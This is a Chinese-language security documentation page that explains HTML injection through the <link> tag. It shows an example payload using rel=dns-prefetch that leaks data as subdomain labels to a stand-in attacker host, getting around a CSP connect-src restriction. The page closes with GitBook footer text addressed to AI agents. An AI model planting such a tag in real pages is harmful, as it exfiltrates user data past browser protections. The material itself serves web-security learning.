> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/html-zhu-ru/link.md).

# link标签注入

## 概述

[`<link>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link) HTML 元素指定当前文档与外部资源之间的关系。这个元素最常用于链接到样式表，但也用于建立站点图标（包括"favicon"样式图标以及移动设备的主屏幕和应用程序图标）等。

## rel=dns-prefetch

`rel` 属性的 [dns-prefetch](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch) 关键字是给浏览器的提示，表明用户可能需要目标资源源的资源，因此浏览器可以通过抢先执行该源的DNS解析来改善用户体验。它可以用来在子域中泄露数据，即使在限制性的 CSP `connect-src` 指令下也是如此。

```html
<link rel="dns-prefetch" href="//AAA.BBB.CCC.DDD.attacker.webserver.com">
```

参考资料：

* [Trail of Bits Blog: Escaping misconfigured VSCode extensions](https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/html-zhu-ru/link.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
